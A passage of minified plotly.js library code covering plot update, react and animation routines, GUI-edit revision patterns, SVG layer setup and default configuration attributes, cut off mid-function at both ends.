rt){vt=a.getFromId(ae,Mn);var Sn=vt&&vt._constraintGroup;if(Sn){Ut.calc=!0;for(var nr in Sn)rt[nr]||(a.getFromId(ae,nr)._constraintShrinkable=!0)}}(ge(ae)||de.height||de.width)&&(Ut.plot=!0);var Sr=Ie.shapes;for(Gt=0;Gt<Sr.length;Gt++)if(Sr[Gt].showlegend){Ut.calc=!0;break}return(Ut.plot||Ut.calc)&&(Ut.layoutReplot=!0),{flags:Ut,rangesAltered:rt,undoit:sr,redoit:dr,eventData:_t}}function ge(ae){var de=ae._fullLayout,Me=de.width,Ie=de.height;return ae.layout.autosize&&f.plotAutoSize(ae,ae.layout,de),de.width!==Me||de.height!==Ie}function Te(ae,de,Me,Ie){ae=L.getGraphDiv(ae),i.clearPromiseQueue(ae),L.isPlainObject(de)||(de={}),L.isPlainObject(Me)||(Me={}),Object.keys(de).length&&(ae.changed=!0),Object.keys(Me).length&&(ae.changed=!0);var Qe=i.coerceTraceIndices(ae,Ie),et=oe(ae,L.extendFlat({},de),Qe),pt=et.flags,St=be(ae,L.extendFlat({},Me)),_t=St.flags;(pt.calc||_t.calc)&&(ae.calcdata=void 0),pt.clearAxisTypes&&i.clearAxisTypes(ae,Qe,Me);var Ft=[];_t.layoutReplot?Ft.push(v.layoutReplot):pt.fullReplot?Ft.push(Z._doPlot):(Ft.push(f.previousPromises),pe(ae,_t,St)||f.supplyDefaults(ae),pt.style&&Ft.push(v.doTraceStyle),(pt.colorbars||_t.colorbars)&&Ft.push(v.doColorBars),_t.legend&&Ft.push(v.doLegend),_t.layoutstyle&&Ft.push(v.layoutStyles),_t.axrange&&we(Ft,St.rangesAltered),_t.ticks&&Ft.push(v.doTicksRelayout),_t.modebar&&Ft.push(v.doModeBar),_t.camera&&Ft.push(v.doCamera),Ft.push(m)),Ft.push(f.rehover,f.redrag,f.reselect),g.add(ae,Te,[ae,et.undoit,St.undoit,et.traces],Te,[ae,et.redoit,St.redoit,et.traces]);var Tt=L.syncOrAsync(Ft,ae);return(!Tt||!Tt.then)&&(Tt=Promise.resolve(ae)),Tt.then(function(){return ae.emit("plotly_update",{data:et.eventData,layout:St.eventData}),ae})}function Fe(ae){return function(Me){Me._fullLayout._guiEditing=!0;var Ie=ae.apply(null,arguments);return Me._fullLayout._guiEditing=!1,Ie}}var Oe=[{pattern:/^hiddenlabels/,attr:"legend.uirevision"},{pattern:/^((x|y)axis\d*)\.((auto)?range|title\.text)/},{pattern:/axis\d*\.showspikes$/,attr:"modebar.uirevision"},{pattern:/(hover|drag)mode$/,attr:"modebar.uirevision"},{pattern:/^(scene\d*)\.camera/},{pattern:/^(geo\d*)\.(projection|center|fitbounds)/},{pattern:/^(ternary\d*\.[abc]axis)\.(min|title\.text)$/},{pattern:/^(polar\d*\.radialaxis)\.((auto)?range|angle|title\.text)/},{pattern:/^(polar\d*\.angularaxis)\.rotation/},{pattern:/^(mapbox\d*)\.(center|zoom|bearing|pitch)/},{pattern:/^legend\.(x|y)$/,attr:"editrevision"},{pattern:/^(shapes|annotations)/,attr:"editrevision"},{pattern:/^title\.text$/,attr:"editrevision"}],Ce=[{pattern:/^selectedpoints$/,attr:"selectionrevision"},{pattern:/(^|value\.)visible$/,attr:"legend.uirevision"},{pattern:/^dimensions\[\d+\]\.constraintrange/},{pattern:/^node\.(x|y|groups)/},{pattern:/^level$/},{pattern:/(^|value\.)name$/},{pattern:/colorbar\.title\.text$/},{pattern:/colorbar\.(x|y)$/,attr:"editrevision"}];function Be(ae,de){for(var Me=0;Me<de.length;Me++){var Ie=de[Me],Qe=ae.match(Ie.pattern);if(Qe){var et=Qe[1]||"";return{head:et,tail:ae.substr(et.length+1),attr:Ie.attr}}}}function $e(ae,de){var Me=S(de,ae).get();if(Me!==void 0)return Me;var Ie=ae.split(".");for(Ie.pop();Ie.length>1;)if(Ie.pop(),Me=S(de,Ie.join(".")+".uirevision").get(),Me!==void 0)return Me;return de.uirevision}function Xe(ae,de){for(var Me=0;Me<de.length;Me++)if(de[Me]._fullInput.uid===ae)return Me;return-1}function Ze(ae,de,Me){for(var Ie=0;Ie<de.length;Ie++)if(de[Ie].uid===ae)return Ie;return!de[Me]||de[Me].uid?-1:Me}function Ke(ae,de){var Me=L.isPlainObject(ae),Ie=Array.isArray(ae);return Me||Ie?(Me&&L.isPlainObject(de)||Ie&&Array.isArray(de))&&JSON.stringify(ae)===JSON.stringify(de):ae===de}function st(ae,de,Me,Ie){var Qe=Ie._preGUI,et,pt,St,_t,Ft,Tt,Gt,er,Pr,ct,Vt=[],Ut={},dr={};for(et in Qe){if(Ft=Be(et,Oe),Ft){if(Pr=Ft.head,ct=Ft.tail,pt=Ft.attr||Pr+".uirevision",St=S(Ie,pt).get(),_t=St&&$e(pt,de),_t&&_t===St){if(Tt=Qe[et],Tt===null&&(Tt=void 0),Gt=S(de,et),er=Gt.get(),Ke(er,Tt)){er===void 0&&ct==="autorange"&&Vt.push(Pr),Gt.set(Q(S(Ie,et).get()));continue}else if(ct==="autorange"||ct.substr(0,6)==="range["){var sr=Qe[Pr+".range[0]"],nt=Qe[Pr+".range[1]"],rt=Qe[Pr+".autorange"];if(rt||rt===null&&sr===null&&nt===null){if(!(Pr in Ut)){var vt=S(de,Pr).get();Ut[Pr]=vt&&(vt.autorange||vt.autorange!==!1&&(!vt.range||vt.range.length!==2))}if(Ut[Pr]){Gt.set(Q(S(Ie,et).get()));continue}}}}}else L.warn("unrecognized GUI edit: "+et);delete Qe[et],Ft&&Ft.tail.substr(0,6)==="range["&&(dr[Ft.head]=1)}for(var gt=0;gt<Vt.length;gt++){var wt=Vt[gt];if(dr[wt]){var mt=S(de,wt).get();mt&&delete mt.autorange}}var Pt=Ie._tracePreGUI;for(var zt in Pt){var Xt=Pt[zt],Yt=null,$t;for(et in Xt){if(!Yt){var yr=Xe(zt,Me);if(yr<0){delete Pt[zt];break}var Ue=Me[yr];$t=Ue._fullInput;var Ne=Ze(zt,ae,$t.index);if(Ne<0){delete Pt[zt];break}Yt=ae[Ne]}if(Ft=Be(et,Ce),Ft){if(Ft.attr?(St=S(Ie,Ft.attr).get(),_t=St&&$e(Ft.attr,de)):(St=$t.uirevision,_t=Yt.uirevision,_t===void 0&&(_t=de.uirevision)),_t&&_t===St&&(Tt=Xt[et],Tt===null&&(Tt=void 0),Gt=S(Yt,et),er=Gt.get(),Ke(er,Tt))){Gt.set(Q(S($t,et).get()));continue}}else L.warn("unrecognized GUI edit: "+et+" in trace uid "+zt);delete Xt[et]}}}function lt(ae,de,Me,Ie){var Qe,et;function pt(){return Z.addFrames(ae,Qe)}ae=L.getGraphDiv(ae),i.clearPromiseQueue(ae);var St=ae._fullData,_t=ae._fullLayout;if(!L.isPlotDiv(ae)||!St||!_t)et=Z.newPlot(ae,de,Me,Ie);else{if(L.isPlainObject(de)){var Ft=de;de=Ft.data,Me=Ft.layout,Ie=Ft.config,Qe=Ft.frames}var Tt=!1;if(Ie){var Gt=L.extendDeep({},ae._context);ae._context=void 0,I(ae,Ie),Tt=Ot(Gt,ae._context)}ae.data=de||[],i.cleanData(ae.data),ae.layout=Me||{},i.cleanLayout(ae.layout),st(ae.data,ae.layout,St,_t),f.supplyDefaults(ae,{skipUpdateCalc:!0});var er=ae._fullData,Pr=ae._fullLayout,ct=Pr.datarevision===void 0,Vt=Pr.transition,Ut=yt(ae,_t,Pr,ct,Vt),dr=Ut.newDataRevision,sr=ut(ae,St,er,ct,Vt,dr);if(ge(ae)&&(Ut.layoutReplot=!0),sr.calc||Ut.calc){ae.calcdata=void 0;for(var nt=Object.getOwnPropertyNames(Pr),rt=0;rt<nt.length;rt++){var vt=nt[rt],gt=vt.substring(0,5);if(gt==="xaxis"||gt==="yaxis"){var wt=Pr[vt]._emptyCategories;wt&&wt()}}}else f.supplyDefaultsUpdateCalc(ae.calcdata,er);var mt=[];if(Qe&&(ae._transitionData={},f.createTransitionData(ae),mt.push(pt)),Pr.transition&&!Tt&&(sr.anim||Ut.anim))Ut.ticks&&mt.push(v.doTicksRelayout),f.doCalcdata(ae),v.doAutoRangeAndConstraints(ae),mt.push(function(){return f.transitionFromReact(ae,sr,Ut,_t)});else if(sr.fullReplot||Ut.layoutReplot||Tt)ae._fullLayout._skipDefaults=!0,mt.push(Z._doPlot);else{for(var Pt in Ut.arrays){var zt=Ut.arrays[Pt];if(zt.length){var Xt=t.getComponentMethod(Pt,"drawOne");if(Xt!==L.noop)for(var Yt=0;Yt<zt.length;Yt++)Xt(ae,zt[Yt]);else{var $t=t.getComponentMethod(Pt,"draw");if($t===L.noop)throw new Error("cannot draw components: "+Pt);$t(ae)}}}mt.push(f.previousPromises),sr.style&&mt.push(v.doTraceStyle),(sr.colorbars||Ut.colorbars)&&mt.push(v.doColorBars),Ut.legend&&mt.push(v.doLegend),Ut.layoutstyle&&mt.push(v.layoutStyles),Ut.axrange&&we(mt),Ut.ticks&&mt.push(v.doTicksRelayout),Ut.modebar&&mt.push(v.doModeBar),Ut.camera&&mt.push(v.doCamera),mt.push(m)}mt.push(f.rehover,f.redrag,f.reselect),et=L.syncOrAsync(mt,ae),(!et||!et.then)&&(et=Promise.resolve(ae))}return et.then(function(){return ae.emit("plotly_react",{data:de,layout:Me}),ae})}function ut(ae,de,Me,Ie,Qe,et){var pt=de.length===Me.length;if(!Qe&&!pt)return{fullReplot:!0,calc:!0};var St=T.traceFlags();St.arrays={},St.nChanges=0,St.nChangesAnim=0;var _t,Ft;function Tt(Pr){var ct=r.getTraceValObject(Ft,Pr);return!Ft._module.animatable&&ct.anim&&(ct.anim=!1),ct}var Gt={getValObject:Tt,flags:St,immutable:Ie,transition:Qe,newDataRevision:et,gd:ae},er={};for(_t=0;_t<de.length;_t++)if(Me[_t]){if(Ft=Me[_t]._fullInput,f.hasMakesDataTransform(Ft)&&(Ft=Me[_t]),er[Ft.uid])continue;er[Ft.uid]=1,bt(de[_t]._fullInput,Ft,[],Gt)}return(St.calc||St.plot)&&(St.fullReplot=!0),Qe&&St.nChanges&&St.nChangesAnim&&(St.anim=St.nChanges===St.nChangesAnim&&pt?"all":"some"),St}function yt(ae,de,Me,Ie,Qe){var et=T.layoutFlags();et.arrays={},et.rangesAltered={},et.nChanges=0,et.nChangesAnim=0;function pt(_t){return r.getLayoutValObject(Me,_t)}var St={getValObject:pt,flags:et,immutable:Ie,transition:Qe,gd:ae};return bt(de,Me,[],St),(et.plot||et.calc)&&(et.layoutReplot=!0),Qe&&et.nChanges&&et.nChangesAnim&&(et.anim=et.nChanges===et.nChangesAnim?"all":"some"),et}function bt(ae,de,Me,Ie){var Qe,et,pt,St=Ie.getValObject,_t=Ie.flags,Ft=Ie.immutable,Tt=Ie.inArray,Gt=Ie.arrayIndex;function er(){var yr=Qe.editType;if(Tt&&yr.indexOf("arraydraw")!==-1){L.pushUnique(_t.arrays[Tt],Gt);return}T.update(_t,Qe),yr!=="none"&&_t.nChanges++,Ie.transition&&Qe.anim&&_t.nChangesAnim++,(xe.test(pt)||ke.test(pt))&&(_t.rangesAltered[Me[0]]=1),_e.test(pt)&&S(de,"_inputDomain").set(null),et==="datarevision"&&(_t.newDataRevision=1)}function Pr(yr){return yr.valType==="data_array"||yr.arrayOk}for(et in ae){if(_t.calc&&!Ie.transition)return;var ct=ae[et],Vt=de[et],Ut=Me.concat(et);if(pt=Ut.join("."),!(et.charAt(0)==="_"||typeof ct=="function"||ct===Vt)){if((et==="tick0"||et==="dtick")&&Me[0]!=="geo"){var dr=de.tickmode;if(dr==="auto"||dr==="array"||!dr)continue}if(!(et==="range"&&de.autorange)&&!((et==="zmin"||et==="zmax")&&de.type==="contourcarpet")&&(Qe=St(Ut),!!Qe&&!(Qe._compareAsJSON&&JSON.stringify(ct)===JSON.stringify(Vt)))){var sr=Qe.valType,nt,rt=Pr(Qe),vt=Array.isArray(ct),gt=Array.isArray(Vt);if(vt&&gt){var wt="_input_"+et,mt=ae[wt],Pt=de[wt];if(Array.isArray(mt)&&mt===Pt)continue}if(Vt===void 0)rt&&vt?_t.calc=!0:er();else if(Qe._isLinkedToArray){var zt=[],Xt=!1;Tt||(_t.arrays[et]=zt);var Yt=Math.min(ct.length,Vt.length),$t=Math.max(ct.length,Vt.length);if(Yt!==$t)if(Qe.editType==="arraydraw")Xt=!0;else{er();continue}for(nt=0;nt<Yt;nt++)bt(ct[nt],Vt[nt],Ut.concat(nt),L.extendFlat({inArray:et,arrayIndex:nt},Ie));if(Xt)for(nt=Yt;nt<$t;nt++)zt.push(nt)}else!sr&&L.isPlainObject(ct)?bt(ct,Vt,Ut,Ie):rt?vt&&gt?(Ft&&(_t.calc=!0),(Ft||Ie.newDataRevision)&&er()):vt!==gt?_t.calc=!0:er():vt&&gt?(ct.length!==Vt.length||String(ct)!==String(Vt))&&er():er()}}}for(et in de)if(!(et in ae||et.charAt(0)==="_"||typeof de[et]=="function"))if(Qe=St(Me.concat(et)),Pr(Qe)&&Array.isArray(de[et])){_t.calc=!0;return}else er()}function Ot(ae,de){var Me;for(Me in ae)if(Me.charAt(0)!=="_"){var Ie=ae[Me],Qe=de[Me];if(Ie!==Qe)if(L.isPlainObject(Ie)&&L.isPlainObject(Qe)){if(Ot(Ie,Qe))return!0}else if(Array.isArray(Ie)&&Array.isArray(Qe)){if(Ie.length!==Qe.length)return!0;for(var et=0;et<Ie.length;et++)if(Ie[et]!==Qe[et])if(L.isPlainObject(Ie[et])&&L.isPlainObject(Qe[et])){if(Ot(Ie[et],Qe[et]))return!0}else return!0}else return!0}}function Ge(ae,de,Me){if(ae=L.getGraphDiv(ae),!L.isPlotDiv(ae))throw new Error("This element is not a Plotly plot: "+ae+". It's likely that you've failed to create a plot before animating it. For more details, see https://plotly.com/javascript/animations/");var Ie=ae._transitionData;Ie._frameQueue||(Ie._frameQueue=[]),Me=f.supplyAnimationDefaults(Me);var Qe=Me.transition,et=Me.frame;Ie._frameWaitingCnt===void 0&&(Ie._frameWaitingCnt=0);function pt(Ft){return Array.isArray(Qe)?Ft>=Qe.length?Qe[0]:Qe[Ft]:Qe}function St(Ft){return Array.isArray(et)?Ft>=et.length?et[0]:et[Ft]:et}function _t(Ft,Tt){var Gt=0;return function(){if(Ft&&++Gt===Tt)return Ft()}}return new Promise(function(Ft,Tt){function Gt(){if(Ie._frameQueue.length!==0){for(;Ie._frameQueue.length;){var Yt=Ie._frameQueue.pop();Yt.onInterrupt&&Yt.onInterrupt()}ae.emit("plotly_animationinterrupted",[])}}function er(Yt){if(Yt.length!==0){for(var $t=0;$t<Yt.length;$t++){var yr;Yt[$t].type==="byname"?yr=f.computeFrame(ae,Yt[$t].name):yr=Yt[$t].data;var Ue=St($t),Ne=pt($t);Ne.duration=Math.min(Ne.duration,Ue.duration);var Et={frame:yr,name:Yt[$t].name,frameOpts:Ue,transitionOpts:Ne};$t===Yt.length-1&&(Et.onComplete=_t(Ft,2),Et.onInterrupt=Tt),Ie._frameQueue.push(Et)}Me.mode==="immediate"&&(Ie._lastFrameAt=-1/0),Ie._animationRaf||Vt()}}function Pr(){ae.emit("plotly_animated"),window.cancelAnimationFrame(Ie._animationRaf),Ie._animationRaf=null}function ct(){Ie._currentFrame&&Ie._currentFrame.onComplete&&Ie._currentFrame.onComplete();var Yt=Ie._currentFrame=Ie._frameQueue.shift();if(Yt){var $t=Yt.name?Yt.name.toString():null;ae._fullLayout._currentFrame=$t,Ie._lastFrameAt=Date.now(),Ie._timeToNext=Yt.frameOpts.duration,f.transition(ae,Yt.frame.data,Yt.frame.layout,i.coerceTraceIndices(ae,Yt.frame.traces),Yt.frameOpts,Yt.transitionOpts).then(function(){Yt.onComplete&&Yt.onComplete()}),ae.emit("plotly_animatingframe",{name:$t,frame:Yt.frame,animation:{frame:Yt.frameOpts,transition:Yt.transitionOpts}})}else Pr()}function Vt(){ae.emit("plotly_animating"),Ie._lastFrameAt=-1/0,Ie._timeToNext=0,Ie._runningTransitions=0,Ie._currentFrame=null;var Yt=function(){Ie._animationRaf=window.requestAnimationFrame(Yt),Date.now()-Ie._lastFrameAt>Ie._timeToNext&&ct()};Yt()}var Ut=0;function dr(Yt){return Array.isArray(Qe)?Ut>=Qe.length?Yt.transitionOpts=Qe[Ut]:Yt.transitionOpts=Qe[0]:Yt.transitionOpts=Qe,Ut++,Yt}var sr,nt,rt=[],vt=de==null,gt=Array.isArray(de),wt=!vt&&!gt&&L.isPlainObject(de);if(wt)rt.push({type:"object",data:dr(L.extendFlat({},de))});else if(vt||["string","number"].indexOf(typeof de)!==-1)for(sr=0;sr<Ie._frames.length;sr++)nt=Ie._frames[sr],nt&&(vt||String(nt.group)===String(de))&&rt.push({type:"byname",name:String(nt.name),data:dr({name:nt.name})});else if(gt)for(sr=0;sr<de.length;sr++){var mt=de[sr];["number","string"].indexOf(typeof mt)!==-1?(mt=String(mt),rt.push({type:"byname",name:mt,data:dr({name:mt})})):L.isPlainObject(mt)&&rt.push({type:"object",data:dr(L.extendFlat({},mt))})}for(sr=0;sr<rt.length;sr++)if(nt=rt[sr],nt.type==="byname"&&!Ie._frameHash[nt.data.name]){L.warn('animate failure: frame not found: "'+nt.data.name+'"'),Tt();return}["next","immediate"].indexOf(Me.mode)!==-1&&Gt(),Me.direction==="reverse"&&rt.reverse();var Pt=ae._fullLayout._currentFrame;if(Pt&&Me.fromcurrent){var zt=-1;for(sr=0;sr<rt.length;sr++)if(nt=rt[sr],nt.type==="byname"&&nt.name===Pt){zt=sr;break}if(zt>0&&zt<rt.length-1){var Xt=[];for(sr=0;sr<rt.length;sr++)nt=rt[sr],(rt[sr].type!=="byname"||sr>zt)&&Xt.push(nt);rt=Xt}}rt.length>0?er(rt):(ae.emit("plotly_animated"),Ft())})}function Le(ae,de,Me){if(ae=L.getGraphDiv(ae),de==null)return Promise.resolve();if(!L.isPlotDiv(ae))throw new Error("This element is not a Plotly plot: "+ae+". It's likely that you've failed to create a plot before adding frames. For more details, see https://plotly.com/javascript/animations/");var Ie,Qe,et,pt,St=ae._transitionData._frames,_t=ae._transitionData._frameHash;if(!Array.isArray(de))throw new Error("addFrames failure: frameList must be an Array of frame definitions"+de);var Ft=St.length+de.length*2,Tt=[],Gt={};for(Ie=de.length-1;Ie>=0;Ie--)if(L.isPlainObject(de[Ie])){var er=de[Ie].name,Pr=(_t[er]||Gt[er]||{}).name,ct=de[Ie].name,Vt=_t[Pr]||Gt[Pr];Pr&&ct&&typeof ct=="number"&&Vt&&E<p&&(E++,L.warn('addFrames: overwriting frame "'+(_t[Pr]||Gt[Pr]).name+'" with a frame whose name of type "number" also equates to "'+Pr+'". This is valid but may potentially lead to unexpected behavior since all plotly.js frame names are stored internally as strings.'),E===p&&L.warn("addFrames: This API call has yielded too many of these warnings. For the rest of this call, further warnings about numeric frame names will be suppressed.")),Gt[er]={name:er},Tt.push({frame:f.supplyFrameDefaults(de[Ie]),index:Me&&Me[Ie]!==void 0&&Me[Ie]!==null?Me[Ie]:Ft+Ie})}Tt.sort(function(wt,mt){return wt.index>mt.index?-1:wt.index<mt.index?1:0});var Ut=[],dr=[],sr=St.length;for(Ie=Tt.length-1;Ie>=0;Ie--){if(Qe=Tt[Ie].frame,typeof Qe.name=="number"&&L.warn("Warning: addFrames accepts frames with numeric names, but the numbers areimplicitly cast to strings"),!Qe.name)for(;_t[Qe.name="frame "+ae._transitionData._counter++];);if(_t[Qe.name]){for(et=0;et<St.length&&(St[et]||{}).name!==Qe.name;et++);Ut.push({type:"replace",index:et,value:Qe}),dr.unshift({type:"replace",index:et,value:St[et]})}else pt=Math.max(0,Math.min(Tt[Ie].index,sr)),Ut.push({type:"insert",index:pt,value:Qe}),dr.unshift({type:"delete",index:pt}),sr++}var nt=f.modifyFrames,rt=f.modifyFrames,vt=[ae,dr],gt=[ae,Ut];return g&&g.add(ae,nt,vt,rt,gt),f.modifyFrames(ae,Ut)}function Pe(ae,de){if(ae=L.getGraphDiv(ae),!L.isPlotDiv(ae))throw new Error("This element is not a Plotly plot: "+ae);var Me,Ie,Qe=ae._transitionData._frames,et=[],pt=[];if(!de)for(de=[],Me=0;Me<Qe.length;Me++)de.push(Me);for(de=de.slice(),de.sort(),Me=de.length-1;Me>=0;Me--)Ie=de[Me],et.push({type:"delete",index:Ie}),pt.unshift({type:"insert",index:Ie,value:Qe[Ie]});var St=f.modifyFrames,_t=f.modifyFrames,Ft=[ae,pt],Tt=[ae,et];return g&&g.add(ae,St,Ft,_t,Tt),f.modifyFrames(ae,et)}function De(ae){ae=L.getGraphDiv(ae);var de=ae._fullLayout||{},Me=ae._fullData||[];return f.cleanPlot([],{},Me,de),f.purge(ae),d.purge(ae),de._container&&de._container.remove(),delete ae._context,ae}function Ee(ae){var de=ae._fullLayout,Me=ae.getBoundingClientRect();if(!L.equalDomRects(Me,de._lastBBox)){var Ie=de._invTransform=L.inverseTransformMatrix(L.getFullTransformMatrix(ae));de._invScaleX=Math.sqrt(Ie[0][0]*Ie[0][0]+Ie[0][1]*Ie[0][1]+Ie[0][2]*Ie[0][2]),de._invScaleY=Math.sqrt(Ie[1][0]*Ie[1][0]+Ie[1][1]*Ie[1][1]+Ie[1][2]*Ie[1][2]),de._lastBBox=Me}}function ye(ae){var de=M.select(ae),Me=ae._fullLayout;if(Me._calcInverseTransform=Ee,Me._calcInverseTransform(ae),Me._container=de.selectAll(".plot-container").data([0]),Me._container.enter().insert("div",":first-child").classed("plot-container",!0).classed("plotly",!0),Me._paperdiv=Me._container.selectAll(".svg-container").data([0]),Me._paperdiv.enter().append("div").classed("user-select-none",!0).classed("svg-container",!0).style("position","relative"),Me._glcontainer=Me._paperdiv.selectAll(".gl-container").data([{}]),Me._glcontainer.enter().append("div").classed("gl-container",!0),Me._paperdiv.selectAll(".main-svg").remove(),Me._paperdiv.select(".modebar-container").remove(),Me._paper=Me._paperdiv.insert("svg",":first-child").classed("main-svg",!0),Me._toppaper=Me._paperdiv.append("svg").classed("main-svg",!0),Me._modebardiv=Me._paperdiv.append("div"),delete Me._modeBar,Me._hoverpaper=Me._paperdiv.append("svg").classed("main-svg",!0),!Me._uid){var Ie={};M.selectAll("defs").each(function(){this.id&&(Ie[this.id.split("-")[1]]=1)}),Me._uid=L.randstr(Ie)}Me._paperdiv.selectAll(".main-svg").attr(y.svgAttrs),Me._defs=Me._paper.append("defs").attr("id","defs-"+Me._uid),Me._clips=Me._defs.append("g").classed("clips",!0),Me._topdefs=Me._toppaper.append("defs").attr("id","topdefs-"+Me._uid),Me._topclips=Me._topdefs.append("g").classed("clips",!0),Me._bgLayer=Me._paper.append("g").classed("bglayer",!0),Me._draggers=Me._paper.append("g").classed("draglayer",!0);var Qe=Me._paper.append("g").classed("layer-below",!0);Me._imageLowerLayer=Qe.append("g").classed("imagelayer",!0),Me._shapeLowerLayer=Qe.append("g").classed("shapelayer",!0),Me._cartesianlayer=Me._paper.append("g").classed("cartesianlayer",!0),Me._polarlayer=Me._paper.append("g").classed("polarlayer",!0),Me._smithlayer=Me._paper.append("g").classed("smithlayer",!0),Me._ternarylayer=Me._paper.append("g").classed("ternarylayer",!0),Me._geolayer=Me._paper.append("g").classed("geolayer",!0),Me._funnelarealayer=Me._paper.append("g").classed("funnelarealayer",!0),Me._pielayer=Me._paper.append("g").classed("pielayer",!0),Me._iciclelayer=Me._paper.append("g").classed("iciclelayer",!0),Me._treemaplayer=Me._paper.append("g").classed("treemaplayer",!0),Me._sunburstlayer=Me._paper.append("g").classed("sunburstlayer",!0),Me._indicatorlayer=Me._toppaper.append("g").classed("indicatorlayer",!0),Me._glimages=Me._paper.append("g").classed("glimages",!0);var et=Me._toppaper.append("g").classed("layer-above",!0);Me._imageUpperLayer=et.append("g").classed("imagelayer",!0),Me._shapeUpperLayer=et.append("g").classed("shapelayer",!0),Me._selectionLayer=Me._toppaper.append("g").classed("selectionlayer",!0),Me._infolayer=Me._toppaper.append("g").classed("infolayer",!0),Me._menulayer=Me._toppaper.append("g").classed("menulayer",!0),Me._zoomlayer=Me._toppaper.append("g").classed("zoomlayer",!0),Me._hoverlayer=Me._hoverpaper.append("g").classed("hoverlayer",!0),Me._modebardiv.classed("modebar-container",!0).style("position","absolute").style("top","0px").style("right","0px"),ae.emit("plotly_framework")}Z.animate=Ge,Z.addFrames=Le,Z.deleteFrames=Pe,Z.addTraces=X,Z.deleteTraces=W,Z.extendTraces=ne,Z.moveTraces=V,Z.prependTraces=fe,Z.newPlot=B,Z._doPlot=A,Z.purge=De,Z.react=lt,Z.redraw=k,Z.relayout=le,Z.restyle=Y,Z.setPlotConfig=n,Z.update=Te,Z._guiRelayout=Fe(le),Z._guiRestyle=Fe(Y),Z._guiUpdate=Fe(Te),Z._storeDirectGUIEdit=K},72075:function(te){var Z={staticPlot:{valType:"boolean",dflt:!1},typesetMath:{valType:"boolean",dflt:!0},plotlyServerURL:{valType:"string",dflt:""},editable:{valType:"boolean",dflt:!1},edits:{annotationPosition:{valType:"boolean",dflt:!1},annotationTail:{valType:"boolean",dflt:!1},annotationText:{valType:"boolean",dflt:!1},axisTitleText:{valType:"boolean",dflt:!1},colorbarPosition:{valType:"boolean",dflt:!1},colorbarTitleText:{valType:"boolean",dflt:!1},legendPosition:{valType:"boolean",dflt:!1},legendText:{valType:"boolean",dflt:!1},shapePosition:{valType:"boolean",dflt:!1},titleText:{valType:"boolean",dflt:!1}},editSelection:{valType:"boolean",dflt:!0},autosizable:{valType:"boolean",dflt:!1},responsive:{valType:"boolean",dflt:!1},fillFrame:{valType:"boolean",dflt:!1},frameMargins:{valType:"number",dflt:0,min:0,max:.5},scrollZoom:{valType:"flaglist",flags:["cartesian","gl3d","geo","mapbox"],extras:[!0,!1],dflt:"gl3d+geo+mapbox"},doubleClick:{valType:"enumerated",values:[!1,"reset","autosize","reset+autosize"],dflt:"reset+autosize"},doubleClickDelay:{valType:"number",dflt:300,min:0},showAxisDragHandles:{valType:"boolean",dflt:!0},showAxisRangeEntryBoxes:{valType:"boolean",dflt:!0},showTips:{valType:"boolean",dflt:!0},showLink:{valType:"boolean",dflt:!1},linkText:{valType:"string",dflt:"Edit chart",noBlank:!0},sendData:{valType:"boolean",dflt:!0},showSources:{valType:"any",dflt:!1},displayModeBar:{valType:"enumerated",values:["hover",!0,!1],dflt:"hover"},showSendToCloud:{valType:"boolean",dflt:!1},showEditInChartStudio:{valType:"boolean",dflt:!1},modeBarButtonsToRemove:{valType:"any",dflt:[]},modeBarButtonsToAdd:{valType:"any",dflt:[]},modeBarButtons:{valType:"any",dflt:!1},toImageButtonOptions:{valType:"any",dflt:{}},displaylogo:{valType:"boolean",dflt:!0},watermark:{valType:"boolean",dflt:!1},plotGlPixelRatio:{valType:"number",dflt:2,min:1,max:4},setBackground:{valType:"any",dflt:"transparent"},topojsonURL:{valType:"string",noBlank:!0,dflt:"https://cdn.plot.ly/"},mapboxAccessToken:{valType:"string",dflt:null},logging:{valType:"integer",min:0,max:2,dflt:1},notifyOnLogging:{valType:"integer",min:0,max:2,dflt:0},queueLength:{valType:"integer",min:0,dflt:0},globalTransforms:{valType:"any",dflt:[]},locale:{valType:"string",dflt:"en-US"},locales:{valType:"any",dflt:{}}},e={};function M(P,o){for(var L in P){var S=P[L];S.valType?o[L]=S.dflt:(o[L]||(o[L]={}),M(S,o[L]))}}M(Z,e),te.exports={configAttributes:Z,dfltConfig:e}},86281:function(te,Z,e){var M=e(73972),P=e(71828),o=e(9012),L=e(10820),S=e(31391),d=e(85594),g=e(72075).configAttributes,t=e(30962),r=P.extendDeepAll,f=P.isPlainObject,a=P.isArrayOrTypedArray,l=P.nestedProperty,u=P.valObjectMeta,s="_isSubplotObj",y="_isLinkedToArray",c="_arrayAttrRegexps",b="_deprecated",h=[s,y,c,b];Z.IS_SUBPLOT_OBJ=s,Z.IS_LINKED_TO_ARRAY=y,Z.DEPRECATED=b,Z.UNDERSCORE_ATTRS=h,Z.get=function(){var B={};M.allTypes.forEach(function(F){B[F]=w(F)});var _={};return Object.keys(M.transformsRegistry).forEach(function(F){_[F]=p(F)}),{defs:{valObjects:u,metaKeys:h.concat(["description","role","editType","impliedEdits"]),editType:{traces:t.traces,layout:t.layout},impliedEdits:{}},traces:B,layout:E(),transforms:_,frames:A(),animation:m(d),config:m(g)}},Z.crawl=function(B,_,F,O){var z=F||0;O=O||"",Object.keys(B).forEach(function(N){var G=B[N];if(h.indexOf(N)===-1){var J=(O?O+".":"")+N;_(G,N,B,z,J),!Z.isValObject(G)&&f(G)&&N!=="impliedEdits"&&Z.crawl(G,_,z+1,J)}})},Z.isValObject=function(B){return B&&B.valType!==void 0},Z.findArrayAttributes=function(B){var _=[],F=[],O=[],z,N;function G(W,V,Y,Q){F=F.slice(0,Q).concat([V]),O=O.slice(0,Q).concat([W&&W._isLinkedToArray]);var ie=W&&(W.valType==="data_array"||W.arrayOk===!0)&&!(F[Q-1]==="colorbar"&&(V==="ticktext"||V==="tickvals"));ie&&J(z,0,"")}function J(W,V,Y){var Q=W[F[V]],ie=Y+F[V];if(V===F.length-1)a(Q)&&_.push(N+ie);else if(O[V]){if(Array.isArray(Q))for(var j=0;j<Q.length;j++)f(Q[j])&&J(Q[j],V+1,ie+"["+j+"].")}else f(Q)&&J(Q,V+1,ie+".")}z=B,N="",Z.crawl(o,G),B._module&&B._module.attributes&&Z.crawl(B._module.attributes,G);var q=B.transforms;if(q)for(var ne=0;ne<q.length;ne++){var fe=q[ne],X=fe._module;X&&(N="transforms["+ne+"].",z=fe,Z.crawl(X.attributes,G))}return _},Z.getTraceValObject=function(B,_){var F=_[0],O=1,z,N;if(F==="transforms"){if(_.length===1)return o.transforms;var G=B.transforms;if(!Array.isArray(G)||!G.length)return!1;var 